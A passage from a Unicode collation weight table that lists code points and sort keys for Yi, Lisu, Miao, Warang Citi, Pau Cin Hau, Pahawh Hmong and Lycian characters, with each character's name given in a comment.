[.423D.0020.0002] # YI SYLLABLE YOX -A47F ; [.423E.0020.0002] # YI SYLLABLE YO -A480 ; [.423F.0020.0002] # YI SYLLABLE YOP -A481 ; [.4240.0020.0002] # YI SYLLABLE YUT -A482 ; [.4241.0020.0002] # YI SYLLABLE YUX -A483 ; [.4242.0020.0002] # YI SYLLABLE YU -A484 ; [.4243.0020.0002] # YI SYLLABLE YUP -A485 ; [.4244.0020.0002] # YI SYLLABLE YURX -A486 ; [.4245.0020.0002] # YI SYLLABLE YUR -A487 ; [.4246.0020.0002] # YI SYLLABLE YYT -A488 ; [.4247.0020.0002] # YI SYLLABLE YYX -A489 ; [.4248.0020.0002] # YI SYLLABLE YY -A48A ; [.4249.0020.0002] # YI SYLLABLE YYP -A48B ; [.424A.0020.0002] # YI SYLLABLE YYRX -A48C ; [.424B.0020.0002] # YI SYLLABLE YYR -A4F8 ; [.424C.0020.0002] # LISU LETTER TONE MYA TI -A4F9 ; [.424D.0020.0002] # LISU LETTER TONE NA PO -A4FA ; [.424E.0020.0002] # LISU LETTER TONE MYA CYA -A4FB ; [.424F.0020.0002] # LISU LETTER TONE MYA BO -A4FD ; [.4250.0020.0002] # LISU LETTER TONE MYA JEU -A4FC ; [.4251.0020.0002] # LISU LETTER TONE MYA NA -A4D0 ; [.4252.0020.0002] # LISU LETTER BA -A4D1 ; [.4253.0020.0002] # LISU LETTER PA -A4D2 ; [.4254.0020.0002] # LISU LETTER PHA -A4D3 ; [.4255.0020.0002] # LISU LETTER DA -A4D4 ; [.4256.0020.0002] # LISU LETTER TA -A4D5 ; [.4257.0020.0002] # LISU LETTER THA -A4D6 ; [.4258.0020.0002] # LISU LETTER GA -A4D7 ; [.4259.0020.0002] # LISU LETTER KA -A4D8 ; [.425A.0020.0002] # LISU LETTER KHA -A4D9 ; [.425B.0020.0002] # LISU LETTER JA -A4DA ; [.425C.0020.0002] # LISU LETTER CA -A4DB ; [.425D.0020.0002] # LISU LETTER CHA -A4DC ; [.425E.0020.0002] # LISU LETTER DZA -A4DD ; [.425F.0020.0002] # LISU LETTER TSA -A4DE ; [.4260.0020.0002] # LISU LETTER TSHA -A4DF ; [.4261.0020.0002] # LISU LETTER MA -A4E0 ; [.4262.0020.0002] # LISU LETTER NA -A4E1 ; [.4263.0020.0002] # LISU LETTER LA -A4E2 ; [.4264.0020.0002] # LISU LETTER SA -A4E3 ; [.4265.0020.0002] # LISU LETTER ZHA -A4E4 ; [.4266.0020.0002] # LISU LETTER ZA -A4E5 ; [.4267.0020.0002] # LISU LETTER NGA -A4E6 ; [.4268.0020.0002] # LISU LETTER HA -A4E7 ; [.4269.0020.0002] # LISU LETTER XA -A4E8 ; [.426A.0020.0002] # LISU LETTER HHA -A4E9 ; [.426B.0020.0002] # LISU LETTER FA -A4EB ; [.426C.0020.0002] # LISU LETTER SHA -A4ED ; [.426D.0020.0002] # LISU LETTER GHA -A4EA ; [.426E.0020.0002] # LISU LETTER WA -A4EC ; [.426F.0020.0002] # LISU LETTER YA -A4EE ; [.4270.0020.0002] # LISU LETTER A -A4EF ; [.4271.0020.0002] # LISU LETTER AE -A4F0 ; [.4272.0020.0002] # LISU LETTER E -A4F1 ; [.4273.0020.0002] # LISU LETTER EU -A4F2 ; [.4274.0020.0002] # LISU LETTER I -A4F3 ; [.4275.0020.0002] # LISU LETTER O -A4F4 ; [.4276.0020.0002] # LISU LETTER U -A4F5 ; [.4277.0020.0002] # LISU LETTER UE -A4F6 ; [.4278.0020.0002] # LISU LETTER UH -A4F7 ; [.4279.0020.0002] # LISU LETTER OE -16F00 ; [.427A.0020.0002] # MIAO LETTER PA -16F01 ; [.427B.0020.0002] # MIAO LETTER BA -16F02 ; [.427C.0020.0002] # MIAO LETTER YI PA -16F03 ; [.427D.0020.0002] # MIAO LETTER PLA -16F04 ; [.427E.0020.0002] # MIAO LETTER MA -16F06 ; [.427E.0020.0004] # MIAO LETTER ARCHAIC MA -16F05 ; [.427F.0020.0002] # MIAO LETTER MHA -16F07 ; [.4280.0020.0002] # MIAO LETTER FA -16F08 ; [.4281.0020.0002] # MIAO LETTER VA -16F09 ; [.4282.0020.0002] # MIAO LETTER VFA -16F0A ; [.4283.0020.0002] # MIAO LETTER TA -16F0B ; [.4284.0020.0002] # MIAO LETTER DA -16F0C ; [.4285.0020.0002] # MIAO LETTER YI TTA -16F0D ; [.4286.0020.0002] # MIAO LETTER YI TA -16F0E ; [.4287.0020.0002] # MIAO LETTER TTA -16F0F ; [.4288.0020.0002] # MIAO LETTER DDA -16F10 ; [.4289.0020.0002] # MIAO LETTER NA -16F13 ; [.4289.0020.0004] # MIAO LETTER ARCHAIC NA -16F11 ; [.428A.0020.0002] # MIAO LETTER NHA -16F12 ; [.428B.0020.0002] # MIAO LETTER YI NNA -16F14 ; [.428C.0020.0002] # MIAO LETTER NNA -16F15 ; [.428D.0020.0002] # MIAO LETTER NNHA -16F16 ; [.428E.0020.0002] # MIAO LETTER LA -16F17 ; [.428F.0020.0002] # MIAO LETTER LYA -16F18 ; [.4290.0020.0002] # MIAO LETTER LHA -16F19 ; [.4291.0020.0002] # MIAO LETTER LHYA -16F1A ; [.4292.0020.0002] # MIAO LETTER TLHA -16F1B ; [.4293.0020.0002] # MIAO LETTER DLHA -16F1C ; [.4294.0020.0002] # MIAO LETTER TLHYA -16F1D ; [.4295.0020.0002] # MIAO LETTER DLHYA -16F1E ; [.4296.0020.0002] # MIAO LETTER KA -16F1F ; [.4297.0020.0002] # MIAO LETTER GA -16F20 ; [.4298.0020.0002] # MIAO LETTER YI KA -16F21 ; [.4299.0020.0002] # MIAO LETTER QA -16F22 ; [.429A.0020.0002] # MIAO LETTER QGA -16F23 ; [.429B.0020.0002] # MIAO LETTER NGA -16F25 ; [.429B.0020.0004] # MIAO LETTER ARCHAIC NGA -16F24 ; [.429C.0020.0002] # MIAO LETTER NGHA -16F26 ; [.429D.0020.0002] # MIAO LETTER HA -16F27 ; [.429E.0020.0002] # MIAO LETTER XA -16F28 ; [.429F.0020.0002] # MIAO LETTER GHA -16F29 ; [.42A0.0020.0002] # MIAO LETTER GHHA -16F2A ; [.42A1.0020.0002] # MIAO LETTER TSSA -16F2B ; [.42A2.0020.0002] # MIAO LETTER DZZA -16F2C ; [.42A3.0020.0002] # MIAO LETTER NYA -16F2D ; [.42A4.0020.0002] # MIAO LETTER NYHA -16F2E ; [.42A5.0020.0002] # MIAO LETTER TSHA -16F2F ; [.42A6.0020.0002] # MIAO LETTER DZHA -16F30 ; [.42A7.0020.0002] # MIAO LETTER YI TSHA -16F31 ; [.42A8.0020.0002] # MIAO LETTER YI DZHA -16F32 ; [.42A9.0020.0002] # MIAO LETTER REFORMED TSHA -16F33 ; [.42AA.0020.0002] # MIAO LETTER SHA -16F34 ; [.42AB.0020.0002] # MIAO LETTER SSA -16F35 ; [.42AC.0020.0002] # MIAO LETTER ZHA -16F36 ; [.42AD.0020.0002] # MIAO LETTER ZSHA -16F37 ; [.42AE.0020.0002] # MIAO LETTER TSA -16F38 ; [.42AF.0020.0002] # MIAO LETTER DZA -16F39 ; [.42B0.0020.0002] # MIAO LETTER YI TSA -16F3A ; [.42B1.0020.0002] # MIAO LETTER SA -16F3B ; [.42B2.0020.0002] # MIAO LETTER ZA -16F3C ; [.42B3.0020.0002] # MIAO LETTER ZSA -16F3D ; [.42B4.0020.0002] # MIAO LETTER ZZA -16F3F ; [.42B4.0020.0004] # MIAO LETTER ARCHAIC ZZA -16F3E ; [.42B5.0020.0002] # MIAO LETTER ZZSA -16F40 ; [.42B6.0020.0002] # MIAO LETTER ZZYA -16F41 ; [.42B7.0020.0002] # MIAO LETTER ZZSYA -16F42 ; [.42B8.0020.0002] # MIAO LETTER WA -16F43 ; [.42B9.0020.0002] # MIAO LETTER AH -16F44 ; [.42BA.0020.0002] # MIAO LETTER HHA -16F50 ; [.42BB.0020.0002] # MIAO LETTER NASALIZATION -16F51 ; [.42BC.0020.0002] # MIAO SIGN ASPIRATION -16F52 ; [.42BD.0020.0002] # MIAO SIGN REFORMED VOICING -16F53 ; [.42BE.0020.0002] # MIAO SIGN REFORMED ASPIRATION -16F54 ; [.42BF.0020.0002] # MIAO VOWEL SIGN A -16F55 ; [.42C0.0020.0002] # MIAO VOWEL SIGN AA -16F56 ; [.42C1.0020.0002] # MIAO VOWEL SIGN AHH -16F57 ; [.42C2.0020.0002] # MIAO VOWEL SIGN AN -16F58 ; [.42C3.0020.0002] # MIAO VOWEL SIGN ANG -16F59 ; [.42C4.0020.0002] # MIAO VOWEL SIGN O -16F5A ; [.42C5.0020.0002] # MIAO VOWEL SIGN OO -16F5B ; [.42C6.0020.0002] # MIAO VOWEL SIGN WO -16F5C ; [.42C7.0020.0002] # MIAO VOWEL SIGN W -16F5D ; [.42C8.0020.0002] # MIAO VOWEL SIGN E -16F5E ; [.42C9.0020.0002] # MIAO VOWEL SIGN EN -16F5F ; [.42CA.0020.0002] # MIAO VOWEL SIGN ENG -16F60 ; [.42CB.0020.0002] # MIAO VOWEL SIGN OEY -16F61 ; [.42CC.0020.0002] # MIAO VOWEL SIGN I -16F62 ; [.42CD.0020.0002] # MIAO VOWEL SIGN IA -16F63 ; [.42CE.0020.0002] # MIAO VOWEL SIGN IAN -16F64 ; [.42CF.0020.0002] # MIAO VOWEL SIGN IANG -16F65 ; [.42D0.0020.0002] # MIAO VOWEL SIGN IO -16F66 ; [.42D1.0020.0002] # MIAO VOWEL SIGN IE -16F67 ; [.42D2.0020.0002] # MIAO VOWEL SIGN II -16F68 ; [.42D3.0020.0002] # MIAO VOWEL SIGN IU -16F69 ; [.42D4.0020.0002] # MIAO VOWEL SIGN ING -16F6A ; [.42D5.0020.0002] # MIAO VOWEL SIGN U -16F6B ; [.42D6.0020.0002] # MIAO VOWEL SIGN UA -16F6C ; [.42D7.0020.0002] # MIAO VOWEL SIGN UAN -16F6D ; [.42D8.0020.0002] # MIAO VOWEL SIGN UANG -16F6E ; [.42D9.0020.0002] # MIAO VOWEL SIGN UU -16F6F ; [.42DA.0020.0002] # MIAO VOWEL SIGN UEI -16F70 ; [.42DB.0020.0002] # MIAO VOWEL SIGN UNG -16F71 ; [.42DC.0020.0002] # MIAO VOWEL SIGN Y -16F72 ; [.42DD.0020.0002] # MIAO VOWEL SIGN YI -16F73 ; [.42DE.0020.0002] # MIAO VOWEL SIGN AE -16F74 ; [.42DF.0020.0002] # MIAO VOWEL SIGN AEE -16F75 ; [.42E0.0020.0002] # MIAO VOWEL SIGN ERR -16F76 ; [.42E1.0020.0002] # MIAO VOWEL SIGN ROUNDED ERR -16F77 ; [.42E2.0020.0002] # MIAO VOWEL SIGN ER -16F78 ; [.42E3.0020.0002] # MIAO VOWEL SIGN ROUNDED ER -16F79 ; [.42E4.0020.0002] # MIAO VOWEL SIGN AI -16F7A ; [.42E5.0020.0002] # MIAO VOWEL SIGN EI -16F7B ; [.42E6.0020.0002] # MIAO VOWEL SIGN AU -16F7C ; [.42E7.0020.0002] # MIAO VOWEL SIGN OU -16F7D ; [.42E8.0020.0002] # MIAO VOWEL SIGN N -16F7E ; [.42E9.0020.0002] # MIAO VOWEL SIGN NG -16F8F ; [.42EA.0020.0002] # MIAO TONE RIGHT -16F90 ; [.42EB.0020.0002] # MIAO TONE TOP RIGHT -16F91 ; [.42EC.0020.0002] # MIAO TONE ABOVE -16F92 ; [.42ED.0020.0002] # MIAO TONE BELOW -16F93 ; [.42EE.0020.0002] # MIAO LETTER TONE-2 -16F94 ; [.42EF.0020.0002] # MIAO LETTER TONE-3 -16F95 ; [.42F0.0020.0002] # MIAO LETTER TONE-4 -16F96 ; [.42F1.0020.0002] # MIAO LETTER TONE-5 -16F97 ; [.42F2.0020.0002] # MIAO LETTER TONE-6 -16F98 ; [.42F3.0020.0002] # MIAO LETTER TONE-7 -16F99 ; [.42F4.0020.0002] # MIAO LETTER TONE-8 -16F9A ; [.42F5.0020.0002] # MIAO LETTER REFORMED TONE-1 -16F9B ; [.42F6.0020.0002] # MIAO LETTER REFORMED TONE-2 -16F9C ; [.42F7.0020.0002] # MIAO LETTER REFORMED TONE-4 -16F9D ; [.42F8.0020.0002] # MIAO LETTER REFORMED TONE-5 -16F9E ; [.42F9.0020.0002] # MIAO LETTER REFORMED TONE-6 -16F9F ; [.42FA.0020.0002] # MIAO LETTER REFORMED TONE-8 -118FF ; [.42FB.0020.0002] # WARANG CITI OM -118C0 ; [.42FC.0020.0002] # WARANG CITI SMALL LETTER NGAA -118A0 ; [.42FC.0020.0008] # WARANG CITI CAPITAL LETTER NGAA -118C1 ; [.42FD.0020.0002] # WARANG CITI SMALL LETTER A -118A1 ; [.42FD.0020.0008] # WARANG CITI CAPITAL LETTER A -118C2 ; [.42FE.0020.0002] # WARANG CITI SMALL LETTER WI -118A2 ; [.42FE.0020.0008] # WARANG CITI CAPITAL LETTER WI -118C3 ; [.42FF.0020.0002] # WARANG CITI SMALL LETTER YU -118A3 ; [.42FF.0020.0008] # WARANG CITI CAPITAL LETTER YU -118C4 ; [.4300.0020.0002] # WARANG CITI SMALL LETTER YA -118A4 ; [.4300.0020.0008] # WARANG CITI CAPITAL LETTER YA -118C5 ; [.4301.0020.0002] # WARANG CITI SMALL LETTER YO -118A5 ; [.4301.0020.0008] # WARANG CITI CAPITAL LETTER YO -118C6 ; [.4302.0020.0002] # WARANG CITI SMALL LETTER II -118A6 ; [.4302.0020.0008] # WARANG CITI CAPITAL LETTER II -118C7 ; [.4303.0020.0002] # WARANG CITI SMALL LETTER UU -118A7 ; [.4303.0020.0008] # WARANG CITI CAPITAL LETTER UU -118C8 ; [.4304.0020.0002] # WARANG CITI SMALL LETTER E -118A8 ; [.4304.0020.0008] # WARANG CITI CAPITAL LETTER E -118C9 ; [.4305.0020.0002] # WARANG CITI SMALL LETTER O -118A9 ; [.4305.0020.0008] # WARANG CITI CAPITAL LETTER O -118CA ; [.4306.0020.0002] # WARANG CITI SMALL LETTER ANG -118AA ; [.4306.0020.0008] # WARANG CITI CAPITAL LETTER ANG -118CB ; [.4307.0020.0002] # WARANG CITI SMALL LETTER GA -118AB ; [.4307.0020.0008] # WARANG CITI CAPITAL LETTER GA -118CC ; [.4308.0020.0002] # WARANG CITI SMALL LETTER KO -118AC ; [.4308.0020.0008] # WARANG CITI CAPITAL LETTER KO -118CD ; [.4309.0020.0002] # WARANG CITI SMALL LETTER ENY -118AD ; [.4309.0020.0008] # WARANG CITI CAPITAL LETTER ENY -118CE ; [.430A.0020.0002] # WARANG CITI SMALL LETTER YUJ -118AE ; [.430A.0020.0008] # WARANG CITI CAPITAL LETTER YUJ -118CF ; [.430B.0020.0002] # WARANG CITI SMALL LETTER UC -118AF ; [.430B.0020.0008] # WARANG CITI CAPITAL LETTER UC -118D0 ; [.430C.0020.0002] # WARANG CITI SMALL LETTER ENN -118B0 ; [.430C.0020.0008] # WARANG CITI CAPITAL LETTER ENN -118D1 ; [.430D.0020.0002] # WARANG CITI SMALL LETTER ODD -118B1 ; [.430D.0020.0008] # WARANG CITI CAPITAL LETTER ODD -118D2 ; [.430E.0020.0002] # WARANG CITI SMALL LETTER TTE -118B2 ; [.430E.0020.0008] # WARANG CITI CAPITAL LETTER TTE -118D3 ; [.430F.0020.0002] # WARANG CITI SMALL LETTER NUNG -118B3 ; [.430F.0020.0008] # WARANG CITI CAPITAL LETTER NUNG -118D4 ; [.4310.0020.0002] # WARANG CITI SMALL LETTER DA -118B4 ; [.4310.0020.0008] # WARANG CITI CAPITAL LETTER DA -118D5 ; [.4311.0020.0002] # WARANG CITI SMALL LETTER AT -118B5 ; [.4311.0020.0008] # WARANG CITI CAPITAL LETTER AT -118D6 ; [.4312.0020.0002] # WARANG CITI SMALL LETTER AM -118B6 ; [.4312.0020.0008] # WARANG CITI CAPITAL LETTER AM -118D7 ; [.4313.0020.0002] # WARANG CITI SMALL LETTER BU -118B7 ; [.4313.0020.0008] # WARANG CITI CAPITAL LETTER BU -118D8 ; [.4314.0020.0002] # WARANG CITI SMALL LETTER PU -118B8 ; [.4314.0020.0008] # WARANG CITI CAPITAL LETTER PU -118D9 ; [.4315.0020.0002] # WARANG CITI SMALL LETTER HIYO -118B9 ; [.4315.0020.0008] # WARANG CITI CAPITAL LETTER HIYO -118DA ; [.4316.0020.0002] # WARANG CITI SMALL LETTER HOLO -118BA ; [.4316.0020.0008] # WARANG CITI CAPITAL LETTER HOLO -118DB ; [.4317.0020.0002] # WARANG CITI SMALL LETTER HORR -118BB ; [.4317.0020.0008] # WARANG CITI CAPITAL LETTER HORR -118DC ; [.4318.0020.0002] # WARANG CITI SMALL LETTER HAR -118BC ; [.4318.0020.0008] # WARANG CITI CAPITAL LETTER HAR -118DD ; [.4319.0020.0002] # WARANG CITI SMALL LETTER SSUU -118BD ; [.4319.0020.0008] # WARANG CITI CAPITAL LETTER SSUU -118DE ; [.431A.0020.0002] # WARANG CITI SMALL LETTER SII -118BE ; [.431A.0020.0008] # WARANG CITI CAPITAL LETTER SII -118DF ; [.431B.0020.0002] # WARANG CITI SMALL LETTER VIYO -118BF ; [.431B.0020.0008] # WARANG CITI CAPITAL LETTER VIYO -11AD5 ; [.431C.0020.0002] # PAU CIN HAU LETTER A -11AD6 ; [.431D.0020.0002] # PAU CIN HAU LETTER E -11AD7 ; [.431E.0020.0002] # PAU CIN HAU LETTER I -11AD8 ; [.431F.0020.0002] # PAU CIN HAU LETTER O -11AD9 ; [.4320.0020.0002] # PAU CIN HAU LETTER U -11ADA ; [.4321.0020.0002] # PAU CIN HAU LETTER UA -11ADB ; [.4322.0020.0002] # PAU CIN HAU LETTER IA -11AC0 ; [.4323.0020.0002] # PAU CIN HAU LETTER PA -11AC1 ; [.4324.0020.0002] # PAU CIN HAU LETTER KA -11AC2 ; [.4325.0020.0002] # PAU CIN HAU LETTER LA -11AC3 ; [.4326.0020.0002] # PAU CIN HAU LETTER MA -11AC4 ; [.4327.0020.0002] # PAU CIN HAU LETTER DA -11AC5 ; [.4328.0020.0002] # PAU CIN HAU LETTER ZA -11AC6 ; [.4329.0020.0002] # PAU CIN HAU LETTER VA -11AC7 ; [.432A.0020.0002] # PAU CIN HAU LETTER NGA -11AC8 ; [.432B.0020.0002] # PAU CIN HAU LETTER HA -11AC9 ; [.432C.0020.0002] # PAU CIN HAU LETTER GA -11ACA ; [.432D.0020.0002] # PAU CIN HAU LETTER KHA -11ACB ; [.432E.0020.0002] # PAU CIN HAU LETTER SA -11ACC ; [.432F.0020.0002] # PAU CIN HAU LETTER BA -11ACD ; [.4330.0020.0002] # PAU CIN HAU LETTER CA -11ACE ; [.4331.0020.0002] # PAU CIN HAU LETTER TA -11ACF ; [.4332.0020.0002] # PAU CIN HAU LETTER THA -11AD0 ; [.4333.0020.0002] # PAU CIN HAU LETTER NA -11AD1 ; [.4334.0020.0002] # PAU CIN HAU LETTER PHA -11AD2 ; [.4335.0020.0002] # PAU CIN HAU LETTER RA -11AD3 ; [.4336.0020.0002] # PAU CIN HAU LETTER FA -11AD4 ; [.4337.0020.0002] # PAU CIN HAU LETTER CHA -11ADC ; [.4338.0020.0002] # PAU CIN HAU LETTER FINAL P -11ADD ; [.4339.0020.0002] # PAU CIN HAU LETTER FINAL K -11ADF ; [.433A.0020.0002] # PAU CIN HAU LETTER FINAL M -11AE0 ; [.433B.0020.0002] # PAU CIN HAU LETTER FINAL N -11AE1 ; [.433C.0020.0002] # PAU CIN HAU LETTER FINAL L -11AE2 ; [.433D.0020.0002] # PAU CIN HAU LETTER FINAL W -11AE3 ; [.433E.0020.0002] # PAU CIN HAU LETTER FINAL NG -11ADE ; [.433F.0020.0002] # PAU CIN HAU LETTER FINAL T -11AE4 ; [.4340.0020.0002] # PAU CIN HAU LETTER FINAL Y -11AEF ; [.4341.0020.0002] # PAU CIN HAU MID-LEVEL TONE -11AF2 ; [.4342.0020.0002] # PAU CIN HAU MID-LEVEL TONE FINAL -11AF1 ; [.4343.0020.0002] # PAU CIN HAU MID-LEVEL TONE LONG FINAL -11AE6 ; [.4344.0020.0002] # PAU CIN HAU RISING TONE -11AE9 ; [.4345.0020.0002] # PAU CIN HAU RISING TONE FINAL -11AE5 ; [.4346.0020.0002] # PAU CIN HAU RISING TONE LONG -11AE8 ; [.4347.0020.0002] # PAU CIN HAU RISING TONE LONG FINAL -11AF4 ; [.4348.0020.0002] # PAU CIN HAU LOW-FALLING TONE -11AF7 ; [.4349.0020.0002] # PAU CIN HAU LOW-FALLING TONE FINAL -11AF3 ; [.434A.0020.0002] # PAU CIN HAU LOW-FALLING TONE LONG -11AF6 ; [.434B.0020.0002] # PAU CIN HAU LOW-FALLING TONE LONG FINAL -11AEC ; [.434C.0020.0002] # PAU CIN HAU SANDHI TONE -11AEE ; [.434D.0020.0002] # PAU CIN HAU SANDHI TONE FINAL -11AEB ; [.434E.0020.0002] # PAU CIN HAU SANDHI TONE LONG -11AED ; [.434F.0020.0002] # PAU CIN HAU SANDHI TONE LONG FINAL -11AF5 ; [.4350.0020.0002] # PAU CIN HAU GLOTTAL STOP -11AF8 ; [.4351.0020.0002] # PAU CIN HAU GLOTTAL STOP FINAL -11AE7 ; [.4352.0020.0002] # PAU CIN HAU SANDHI GLOTTAL STOP -11AEA ; [.4353.0020.0002] # PAU CIN HAU SANDHI GLOTTAL STOP FINAL -11AF0 ; [.4354.0020.0002] # PAU CIN HAU GLOTTAL STOP VARIANT -16B00 ; [.4355.0020.0002] # PAHAWH HMONG VOWEL KEEB -16B01 ; [.4356.0020.0002] # PAHAWH HMONG VOWEL KEEV -16B02 ; [.4357.0020.0002] # PAHAWH HMONG VOWEL KIB -16B03 ; [.4358.0020.0002] # PAHAWH HMONG VOWEL KIV -16B04 ; [.4359.0020.0002] # PAHAWH HMONG VOWEL KAUB -16B05 ; [.435A.0020.0002] # PAHAWH HMONG VOWEL KAUV -16B06 ; [.435B.0020.0002] # PAHAWH HMONG VOWEL KUB -16B07 ; [.435C.0020.0002] # PAHAWH HMONG VOWEL KUV -16B08 ; [.435D.0020.0002] # PAHAWH HMONG VOWEL KEB -16B09 ; [.435E.0020.0002] # PAHAWH HMONG VOWEL KEV -16B0A ; [.435F.0020.0002] # PAHAWH HMONG VOWEL KAIB -16B0B ; [.4360.0020.0002] # PAHAWH HMONG VOWEL KAIV -16B0C ; [.4361.0020.0002] # PAHAWH HMONG VOWEL KOOB -16B0D ; [.4362.0020.0002] # PAHAWH HMONG VOWEL KOOV -16B0E ; [.4363.0020.0002] # PAHAWH HMONG VOWEL KAWB -16B0F ; [.4364.0020.0002] # PAHAWH HMONG VOWEL KAWV -16B10 ; [.4365.0020.0002] # PAHAWH HMONG VOWEL KUAB -16B11 ; [.4366.0020.0002] # PAHAWH HMONG VOWEL KUAV -16B12 ; [.4367.0020.0002] # PAHAWH HMONG VOWEL KOB -16B13 ; [.4368.0020.0002] # PAHAWH HMONG VOWEL KOV -16B14 ; [.4369.0020.0002] # PAHAWH HMONG VOWEL KIAB -16B15 ; [.436A.0020.0002] # PAHAWH HMONG VOWEL KIAV -16B16 ; [.436B.0020.0002] # PAHAWH HMONG VOWEL KAB -16B17 ; [.436C.0020.0002] # PAHAWH HMONG VOWEL KAV -16B18 ; [.436D.0020.0002] # PAHAWH HMONG VOWEL KWB -16B19 ; [.436E.0020.0002] # PAHAWH HMONG VOWEL KWV -16B1A ; [.436F.0020.0002] # PAHAWH HMONG VOWEL KAAB -16B1B ; [.4370.0020.0002] # PAHAWH HMONG VOWEL KAAV -16B1C ; [.4371.0020.0002] # PAHAWH HMONG CONSONANT VAU -16B1D ; [.4372.0020.0002] # PAHAWH HMONG CONSONANT NTSAU -16B1E ; [.4373.0020.0002] # PAHAWH HMONG CONSONANT LAU -16B1F ; [.4374.0020.0002] # PAHAWH HMONG CONSONANT HAU -16B20 ; [.4375.0020.0002] # PAHAWH HMONG CONSONANT NLAU -16B21 ; [.4376.0020.0002] # PAHAWH HMONG CONSONANT RAU -16B22 ; [.4377.0020.0002] # PAHAWH HMONG CONSONANT NKAU -16B23 ; [.4378.0020.0002] # PAHAWH HMONG CONSONANT QHAU -16B24 ; [.4379.0020.0002] # PAHAWH HMONG CONSONANT YAU -16B25 ; [.437A.0020.0002] # PAHAWH HMONG CONSONANT HLAU -16B26 ; [.437B.0020.0002] # PAHAWH HMONG CONSONANT MAU -16B27 ; [.437C.0020.0002] # PAHAWH HMONG CONSONANT CHAU -16B28 ; [.437D.0020.0002] # PAHAWH HMONG CONSONANT NCHAU -16B29 ; [.437E.0020.0002] # PAHAWH HMONG CONSONANT HNAU -16B2A ; [.437F.0020.0002] # PAHAWH HMONG CONSONANT PLHAU -16B2B ; [.4380.0020.0002] # PAHAWH HMONG CONSONANT NTHAU -16B2C ; [.4381.0020.0002] # PAHAWH HMONG CONSONANT NAU -16B2D ; [.4382.0020.0002] # PAHAWH HMONG CONSONANT AU -16B2E ; [.4383.0020.0002] # PAHAWH HMONG CONSONANT XAU -16B2F ; [.4384.0020.0002] # PAHAWH HMONG CONSONANT CAU -16B40 ; [.4385.0020.0002] # PAHAWH HMONG SIGN VOS SEEV -16B41 ; [.4386.0020.0002] # PAHAWH HMONG SIGN MEEJ SUAB -16B63 ; [.4387.0020.0002] # PAHAWH HMONG SIGN VOS LUB -16B64 ; [.4388.0020.0002] # PAHAWH HMONG SIGN XYOO -16B65 ; [.4389.0020.0002] # PAHAWH HMONG SIGN HLI -16B66 ; [.438A.0020.0002] # PAHAWH HMONG SIGN THIRD-STAGE HLI -16B67 ; [.438B.0020.0002] # PAHAWH HMONG SIGN ZWJ THAJ -16B68 ; [.438C.0020.0002] # PAHAWH HMONG SIGN HNUB -16B69 ; [.438D.0020.0002] # PAHAWH HMONG SIGN NQIG -16B6A ; [.438E.0020.0002] # PAHAWH HMONG SIGN XIAB -16B6B ; [.438F.0020.0002] # PAHAWH HMONG SIGN NTUJ -16B6C ; [.4390.0020.0002] # PAHAWH HMONG SIGN AV -16B6D ; [.4391.0020.0002] # PAHAWH HMONG SIGN TXHEEJ CEEV -16B6E ; [.4392.0020.0002] # PAHAWH HMONG SIGN MEEJ TSEEB -16B6F ; [.4393.0020.0002] # PAHAWH HMONG SIGN TAU -16B70 ; [.4394.0020.0002] # PAHAWH HMONG SIGN LOS -16B71 ; [.4395.0020.0002] # PAHAWH HMONG SIGN MUS -16B72 ; [.4396.0020.0002] # PAHAWH HMONG SIGN CIM HAIS LUS NTOG NTOG -16B73 ; [.4397.0020.0002] # PAHAWH HMONG SIGN CIM CUAM TSHOOJ -16B74 ; [.4398.0020.0002] # PAHAWH HMONG SIGN CIM TXWV -16B75 ; [.4399.0020.0002] # PAHAWH HMONG SIGN CIM TXWV CHWV -16B76 ; [.439A.0020.0002] # PAHAWH HMONG SIGN CIM PUB DAWB -16B77 ; [.439B.0020.0002] # PAHAWH HMONG SIGN CIM NRES TOS -16B7D ; [.439C.0020.0002] # PAHAWH HMONG CLAN SIGN TSHEEJ -16B7E ; [.439D.0020.0002] # PAHAWH HMONG CLAN SIGN YEEG -16B7F ; [.439E.0020.0002] # PAHAWH HMONG CLAN SIGN LIS -16B80 ; [.439F.0020.0002] # PAHAWH HMONG CLAN SIGN LAUJ -16B81 ; [.43A0.0020.0002] # PAHAWH HMONG CLAN SIGN XYOOJ -16B82 ; [.43A1.0020.0002] # PAHAWH HMONG CLAN SIGN KOO -16B83 ; [.43A2.0020.0002] # PAHAWH HMONG CLAN SIGN HAWJ -16B84 ; [.43A3.0020.0002] # PAHAWH HMONG CLAN SIGN MUAS -16B85 ; [.43A4.0020.0002] # PAHAWH HMONG CLAN SIGN THOJ -16B86 ; [.43A5.0020.0002] # PAHAWH HMONG CLAN SIGN TSAB -16B87 ; [.43A6.0020.0002] # PAHAWH HMONG CLAN SIGN PHAB -16B88 ; [.43A7.0020.0002] # PAHAWH HMONG CLAN SIGN KHAB -16B89 ; [.43A8.0020.0002] # PAHAWH HMONG CLAN SIGN HAM -16B8A ; [.43A9.0020.0002] # PAHAWH HMONG CLAN SIGN VAJ -16B8B ; [.43AA.0020.0002] # PAHAWH HMONG CLAN SIGN FAJ -16B8C ; [.43AB.0020.0002] # PAHAWH HMONG CLAN SIGN YAJ -16B8D ; [.43AC.0020.0002] # PAHAWH HMONG CLAN SIGN TSWB -16B8E ; [.43AD.0020.0002] # PAHAWH HMONG CLAN SIGN KWM -16B8F ; [.43AE.0020.0002] # PAHAWH HMONG CLAN SIGN VWJ -10280 ; [.43AF.0020.0002] # LYCIAN LETTER A -10281 ; [.43B0.0020.0002] # LYCIAN LETTER E -10282 ; [.43B1.0020.0002] # LYCIAN LETTER B -10283 ; [.43B2.0020.0002] # LYCIAN LETTER BH -10284 ; [.43B3.0020.0002] # LYCIAN LETTER G -10285 ; [.43B4.0020.0002] # LYCIAN LETTER D -10286 ; [.43B5.0020.0002] # LYCIAN LETTER I -10287 ; [.43B6.0020.0002] # LYCIAN LETTER W -10288 ; [.43B7.0020.0002] # LYCIAN LETTER Z -10289 ; [.43B8.0020.0002] # LYCIAN LETTER TH -1028A ; [.43B9.0020.0002] # LYCIAN LETTER J -1028B ; [.43BA.0020.0002] # LYCIAN LETTER K -1028C ; [.43BB.0020.0002] # LYCIAN LETTER Q -1028D ; [.43BC.0020.0002] # LYCIAN LETTER L -1028E ; [.43BD.0020.0002] # LYCIAN LETTER M -1028F ; [.43BE.0020.0002] # LYCIAN LETTER N -10290 ; [.43BF.0020.0002] # LYCIAN LETTER MM -10291 ; [.43C0.0020.0002] # LYCIAN LETTER NN -10292 ; [.43C1.0020.0002] # LYCIAN LETTER U -10293 ; [.43C2.0020.0002] # LYCIAN LETTER P -10294 ; [.43C3.0020.0002] # LYCIAN LETTER KK -10295 ; [.43C4.0020.0002] # 